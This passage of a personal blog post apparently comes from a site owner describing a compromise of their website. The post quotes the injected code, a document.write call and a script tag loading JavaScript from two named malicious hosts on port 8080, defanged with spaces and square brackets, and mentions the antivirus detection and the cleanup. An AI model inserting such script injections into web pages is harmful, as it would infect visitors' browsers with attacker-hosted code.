and added a trojan that takes a javascript from this domain:
http://foxy .divarug . com:8080/Hardware.js
(added spaces intentionally)
and adds to js files this:
document.write('src="http://foxy . divarug . com:8080/Hardware.js">');
OR
to index.html adds:
[script] type="text/javascript" src="http://oployau . fancountblogger . com:8080/Debugger.js">[/script]
(used '[' instead of '<' - because blogger won't let me)
these pages were detected as an infected web site by Avast !
(I intentionally put spaces in the addresses so the page won't be blocked by lame site blockers)
now I have to go change all the pws and fix all the web site files again :\
No comments:
Post a Comment
Feel free to comment. No links/URLs allowed in comments.